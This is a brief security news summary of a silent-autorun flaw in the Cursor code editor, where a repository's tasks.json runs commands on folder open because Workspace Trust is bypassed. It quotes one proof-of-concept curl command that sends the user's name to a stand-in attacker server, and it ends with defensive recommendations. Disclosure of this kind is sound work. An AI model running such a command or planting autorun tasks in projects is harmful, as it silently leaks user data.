RCE Risk in Cursor AI Code Editor When Opening Folders

RCE Risk in Cursor AI Code Editor When Opening Folders highlights a silent autorun vulnerability in Cursor, stemming from the editor bypassing Visual Studio Code’s Workspace Trust protection. The flaw means that simply opening a repository in Cursor can trigger embedded tasks without any user confirmation or warning, using a .vscode/tasks.json file to execute commands at folderOpen with the current user’s privileges.

Proof of Concept, provided by Oasis Security, demonstrates how a malicious setup could exfiltrate environment variables or leak the username to an attacker’s server, with commands such as curl -fsG http://127.0.0[.]1:8080/ –data-urlencode who=$(whoami). The piece notes that the vendor acknowledged the issue and plans updated security guidance for enabling Workspace Trust, while warning that turning on Workspace Trust disables AI-assisted coding and other features.

Recommendations include enabling Workspace Trust if security is the priority, avoiding unknown repositories, auditing for autorun tasks, and using a basic text editor for suspicious repos. According to Oasis Security, this exposes several risks, including silent code execution and potential credential exposure. 15 September 2025.